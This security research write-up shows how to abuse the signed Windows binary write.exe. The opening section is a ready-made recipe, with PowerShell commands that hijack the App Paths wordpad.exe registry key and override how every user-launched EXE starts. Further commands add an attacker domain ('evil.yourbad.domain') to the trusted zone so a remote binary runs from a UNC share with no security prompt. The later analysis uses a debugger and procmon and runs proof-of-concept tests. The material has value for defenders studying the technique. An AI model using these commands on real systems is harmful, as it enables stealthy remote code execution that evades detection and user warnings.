Write.exe is a wrapper binary for launching wordpad. Historically it was used to launch Microsoft Write, a very basic word processor from pre-2000 era. It has been left as a compatibility stub from Windows 95 onwards.
This binary checks HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\wordpad.exe registry key for the location of wordpad's executable, which can be created by regular user. This might be utilized to confuse detection/application control solutions that rely on parent-child relationships. Resulting process will be spawned as a child to the Windows-signed (Signing Level 12) write.exe.
If one controls a domain, it is possible to utilize UNC paths to run remote binaries without dropping them to the disk. This requires additional steps to bypass security prompt.
Create (or edit if exists) registry key with value pointing to the binary
New-Item -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\wordpad.exe" -Force | New-ItemProperty -Name '(default)' -Value '<path_to_your_binary>' -PropertyType StringEnjoy
write.exe
# or
C:/Windows/write.exeWarning
This modifies the default execution of binaries by users. Please read and understand the snippets and their consequences before using them.
- Create (or edit if exists)
HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\wordpad.exewith value pointing to the binary.
New-Item -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\wordpad.exe" -Force | New-ItemProperty -Name '(default)' -Value '<path_to_your_binary>' -PropertyType String- Check if
HKCU:\SOFTWARE\Classes\exefile\shell\open\commandpath exists. If yes, note it down as you WILL want to restore it.
Test-Path HKCU:\SOFTWARE\Classes\exefile\shell\open\command- Create a default key with
"%1" <args>value
New-Item -Path "HKCU:\Software\Classes\exefile\shell\open\command" -Force | Set-ItemProperty -Name '(default)' -Value '"%1" <args>'- Enjoy
write.exe
# or
C:/Windows/write.exe- (optional) you might actually want to delete or restore previous value of
\exefile\shell\open\commandas it affects how all user-ran executables are executed (parameters will be passed to every launched program).
Remove-Item -Path "HKCU:\Software\Classes\exefile" -Recurse -ForceImportant
You need to control a domain and be able to add new A records to it if you want to bypass the security prompt. If you are okay with clicking through it, just substitute the path in previous examples with UNC pointing to the binary.
-
Set up an SMB server available at public IP (you will obviously want heavy access control here). Host your binary here.
-
Add an A DNS record to your host:
evil.yourbad.domain -> <ip_add> -
Make your domain trusted by adding it to ZoneMap registry:
New-Item -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\evil.yourbad.domain" -Force | New-ItemProperty -Name "*" -Value 1 -PropertyType DWord -Force- Create (or edit if exists)
HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\wordpad.exewith value pointing to the hosted binary.
New-Item -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\wordpad.exe" -Force | New-ItemProperty -Name '(default)' -Value '\\evil.yourbad.domain\<path_to_your_binary>' -PropertyType String- Enjoy
write.exe
# or
C:/Windows/write.exeWrite.exe is a legitimate Windows binary, signed by MS.
This binary is present in 3 paths:
C:\Windows\write.exeC:\Windows\System32\write.exeC:\Windows\SysWOW64\write.exe- 32-bit
When ran, WordPad is executed, kind of unusual behaviour given binary's size.
Analyzing imports with Dependency Walker yields just 3 DLLs and only one interesting API - ShellExecuteW:
In order to inspect what exactly is being passed to the ShellExecuteW, I've ran the write.exe in WinDbg. The argument of interest is lpFile, passed as 3rd one, hence in R8:

Additionally, it's important to notice, that after initial setup, the control is transferred from ShellExecuteW to ShellExecuteExW:

Surprisingly, SHELLEXECUTEINFOW structure seemed to not be available in public symbols. Apparently lpFile is offset by 0x18 from the start of the structure, so I did just that:
ShellExecuteExW is known to be looking up the following paths for executed applications:
- current working directory.
- Windows directory only (no subdirectories are searched).
- Windows\System32 directory.
- Directories listed in the PATH environment variable.
(HKCU|HKLM):\Software\Microsoft\Windows\CurrentVersion\App Paths\
Given that actual wordpad.exe binary is present in C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe, we might stand a chance of redirecting the flow to run our binary of choice.
Further inspection with procmon and filtering for wordpad shows, that the paths are indeed being read from registry, and whatever's found is being executed. HKCU entry takes precedence (relevant entries highlighted):
As seen, no path is being provided, resulting in registry lookup and confirming flow hijackability! To get a PoC, the following can be used:
New-Item -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\wordpad.exe" | New-ItemProperty -Name '(default)' -Value 'calc.exe' -PropertyType String
write.exeThis is obviously cool, but we would like to pass arguments to our program. I did explore the SHELLEXECUTEINFOW structure, looking to register custom verbs for wordpad.exe, with little effect. However, it is very much possible to override the default exefile registry and provide custom arguments here.
Important
It is important to note, this will affect how all user-launched binaries are executed for that user. It might be a destructive change, depending on context and modifications made. Understand what's happening before replicating.
Windows utilizes (HKCU|HKLM)\Software\Classes\ to register applications and file types, defining their behaviour when double-clicked/dragged onto/etc. As usual, HKLM contains machine-wide configuration with HKCU being current-user customizations (and taking precedence).
To add arguments to our exe spawn, HKCU\Software\Classes\exefile key can be used (it will work for EXEs only, but process is similar for other program types, just need to overwrite/add different registry). For most deployments, this key will not exist as it is rare to see modifications to the default behaviour. HKLM variant contains the base configuration and hints on the proper setup:
By setting the default value of HKCU\SOFTWARE\Classes\exefile\shell\open\command, we are able to override how executables are launched, potentially adding arguments (or crudely backdooring a system).
This is indeed visible when monitoring execution of our write.exe:

To test out the behaviour, a following setup was made:
New-Item -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\wordpad.exe" -Force | New-ItemProperty -Name '(default)' -Value 'C:\Windows\System32\notepad.exe' -PropertyType String
New-Item -Path "HKCU:\Software\Classes\exefile\shell\open\command" -Force | Set-ItemProperty -Name '(default)' -Value '"%1" test.txt'This confirmed that arguments can be used here too.
Lastly, don't forget to remove (at least) the exefile registration:
Remove-Item -Path "HKCU:\Software\Classes\exefile" -Recurse -ForceWhen dealing with the Windows and abusing paths, one should always ask - can I use that technique with UNC too? In this case, the answer is obviously yes. Just pass the UNC instead of normal path to get download/execute capabilites. Defender has easily detected our malicious binary as it's not obfuscated. Since AV evasion is not the focus here, it's been disabled:
Connection to temporary SMB share seen from attacker's machine:

It is important to note, that this WILL fail in non-desktop environments as you have to accept the We can't verify who created this file. Are you sure you want to run it? prompt.
Or will it?
Windows by default protects users when they try to access files from the internet, be that by using Zone.Identifier alternate data stream or other means. In this case, a security prompt is displayed when trying to directly execute program from Internet Zone (fancy name for untrusted networks/hosts). By default, this will always happen if IP address is directly provided in the UNC Path.
There is, however, a way to manually add hosts to Local intranet zone (trusted). This can be achieved (again) by writing to the registry, more specifically: HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\<FQDN>.
Given it is user-writable customization, there is no need for elevated privileges. One can add the host to trusted list with the following commands:
New-Item -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\<FQDN>" -Force | New-ItemProperty -Name "*" -Value 1 -PropertyType DWord -ForceFor a quick PoC, I've created A record in my domain pointing to the Kali's machine IP, modified the wordpad.exe app registration and fired away. It worked like a charm, with no prompt whatsoever:
It's all cool while it stays local, but can it be used in real life? To validate it, I quickly spun Kali AMI with public IP and set up a test bench similar to local tests:
Finally, this launched a remote binary using UNC path, write.exe and some registry shenanigans. Whew!











